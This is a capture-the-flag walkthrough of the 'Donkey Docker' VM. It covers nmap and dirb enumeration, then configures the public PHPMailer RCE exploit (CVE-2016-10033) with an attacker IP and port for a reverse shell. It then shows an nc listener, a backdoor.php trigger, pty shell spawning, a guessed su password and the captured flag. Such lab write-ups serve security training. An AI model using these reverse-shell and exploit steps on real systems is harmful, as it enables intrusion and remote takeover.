Welcome to
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Made with <3 v.1.0 - 2017
This is my first boot2root - CTF VM. I hope you enjoy it. if you run into any issue you can find me on Twitter: @dhn_ or feel free to write me a mail to:
- Email: dhn@zer0-day.pw
- GPG key: 0x2641123C
- GPG fingerprint: 4E3444A11BB780F84B58E8ABA8DD99472641123C
Level: I think the level of this boot2root challenge is hard or intermediate.
Try harder!: If you are confused or frustrated don't forget that enumeration is the key!
Thanks: Special thanks to @1nternaut for the awesome CTF VM name!
Feedback: This is my first boot2root - CTF VM, please give me feedback on how to improve!
Tested: This VM was tested with:
- VMware Workstation 12 Pro
- VMware Workstation 12 Player
- VMware vSphere Hypervisor (ESXi) 6.5
Networking: DHCP service: Enabled
IP address: Automatically assign
SHA-1:
77439cb457a03d554bec78303dc42e5d3074ff85 DonkeyDocker-disk1.vmdk
d3193cca484f7f1b36c20116f49e9025bf60889c DonkeyDocker.mf
7013d6a7c151332c99c0e96d34b812e0e7ce3d57 DonkeyDocker.ovfWalkthrough
The Donkey Docker 1
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Host Discovery
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netdiscover 192.168.100.0/24
[+] Target IP address: 192.168.100.15
Service Enumeration
nmap -T4 -A 192.168.100.15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 9c:38:ce:11:9c:b2:7a:48:58:c9:76:d5:b8:bd:bd:57 (RSA)
|_ 256 d7:5e:f2:17:bd:18:1b:9c:8c:ab:11:09:e8:a0:00:c2 (ECDSA)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 3 disallowed entries
|_/contact.php /index.php /about.php
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Docker Donkey
[+] From the above action with nmap. we found some disallowed entries, courtesy of robots.txt:
/contact.php
/index.php
/about.php
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Bruteforcing files and directories to enumerate further
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dirb http://192.168.100.15/
about
/contact A contact form
/index
/robots.txt
/mailer/LICENSE GNU GPL text
/mailer/examples/index.html PHPMailer code examples
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Time to pinpoint the exploit
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[+] Judging from the comments section, we see PHPMailer code examples
[+] allow me to make a referral to my script, where i automated searchsploit, which is available on
[+] Github:
https://github.com/huddryl/HudsPenetrationTestAutomationTweakScript_-HPTATS-
[+] The given result is:
PHPMailer 5.2.18 - Remote Code Execution (Python) with the location:
php/webapps/40974.py
[+] This is also available at the exploit DB database:
https://www.exploit-db.com/exploits/40974/
[+] Find below the description and usage of the exploit and how to use it:
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# Exploit Title: PHPMailer Exploit v1.0# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033
Description:
Exploiting PHPMail with back connection (reverse shell) from the target
Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py
Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU
Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
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Configuring & Launching the exploit
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[+] Setting the parameters for the exploit:
[+] from exploit code, the default setting is:
target = 'http://localhost:8080'
backdoor = '/backdoor.php'
[+] Hence, from the above setting, we input our own values:
[+] target http://192.168.100.15/contact
[+] Changes should also be made to Configure attacker IP and port for reverse shell on payload
[+] variable:
s.connect((\\\'192.168.100.12\\\',4444))
[+] Open NC listener in one terminal: $ nc -lnvp <your ip>
[+] Since we are running NC from my PC (Attacker), there is no need to specify my IP, but need to
[+] specify the port to listen on:
nc -lvp 4444
[+] After setting the required parameters, we now run the exploit
python 40974.py
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Access
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[+] From the previous setting, the exploit creates a backdoor.php file on the victim machine, taking into consideration the target and the backdoor, we activate by:
192.168.100.15/backdoor.php
[+] With our eyes on the listener terminal, we attain a shell after activation, by running
(for an extended shell):
python -c 'import pty; pty.spawn("/bin/bash")'
[+] running the command: ls -al
[+] And going through the files and directories, we encountered a bash script by name: main.sh
[+] Taking a look at it with the cat command: cat /main.sh
#!/bin/bash
# change permission
chown smith:users /home/smith/flag.txt
# Start apache
source /etc/apache2/envvars
a2enmod rewrite
apachectl -f /etc/apache2/apache2.conf
sleep 3
tail -f /var/log/apache2/*&
# Start our fake SMTP server
python -m smtpd -n -c DebuggingServer localhost:25
[+] From the above sighting, we can switch user to smith, since he holds permissions and also tried password as smith: ( -rwxr-xr-x)
su smith
[+] we run the id command: id
uid=1000(smith) gid=100(users) groups=100(users)
[+] we proceed to view /home/smith/flag.txt
cat /home/smith/flag.txt
This is not the end, sorry dude. Look deeper!
I know nobody created a user into a docker
container but who cares? ;-)
But good work!
Here a flag for you: flag0{9fe3ed7d67635868567e290c6a490f8e}
PS: I like 1984 written by George ORWELL
inside .ssh there is a key
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